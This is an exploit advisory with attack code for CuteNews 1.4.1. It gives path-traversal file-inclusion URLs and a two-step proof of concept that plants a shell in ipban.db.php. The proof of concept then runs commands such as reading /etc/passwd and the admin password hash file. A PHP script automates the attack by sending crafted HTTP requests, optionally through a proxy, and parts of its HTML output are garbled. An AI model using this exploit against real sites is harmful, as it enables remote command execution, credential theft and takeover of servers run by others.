CuteNews 1.4.1 remote commands execution

CuteNews 1.4.1 Arbitrary file inclusion / remote code execution exploit software: site: http://cutephp.com/ description: "Cute news is a powerful and easy for using news management system that use flat files to store its database. It supports comments, archives, search function, image uploading, backup function, IP banning, flood protection [..]" 1) Arbitrary file inclusion: http://[target]/cute141/show_archives.php?template=../../../../../../../../boot.ini%00 http://[target]/cute141/show_archives.php?template=../../../../../../../../[script] http://[target]/cute141/show_news.php?template=../../../../../../../../boot.ini%00 http://[target]/cute141/show_news.php?template=../../../../../../../../[script] where [script] is a file with .tpl extension 2) you can gain administrative privileges including .mdu scripts, poc exploit: http://[target]/cute141/show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip= now in ipban.db.php we have: |0|| and we launch commands: http://[target]/cute141/data/ipban.db.php?cmd=cat%20/etc/passwd to see /etc/passwd file http://[target]/cute141/data/ipban.db.php?cmd=cat%20users.db.php to see admin md5 password hash CuteNews 1.4.1 remote commands execution

CuteNews 1 . 4 . 1 (possibly prior versions) remote commands execution

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'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } function sendpacket($packet) { global $proxy, $host, $port, $html; $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die;} } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) {$html.=fgets($ock);} } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} $port=intval(trim($port)); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') { $p=$path; } else { $p="http://".$host.":".$port.$path;} #STEP 1 -> Inject a shell in ipban.db.php... ############################################################################################### $shell=''; $shell=urlencode($shell); #very nice ip to add to banlist... ;) no check fo ip address format, only a stripslashes ############################################################################################### $packet="GET ".$p."show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=".$shell." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //show the packet for debugging purposes sendpacket($packet); # STEP 2 -> Launch commands echo '
If CuteNews 1.4.1 is unpatched and vulnerable, now you will see '.htmlentities($command).' output...
'; $packet="GET ".$p."data/ipban.db.php?cmd=".urlencode($command)." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); //debugging... sendpacket($packet); } else {echo 'fill in all requested fields...optionally specify a proxy...';} ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/cute141.html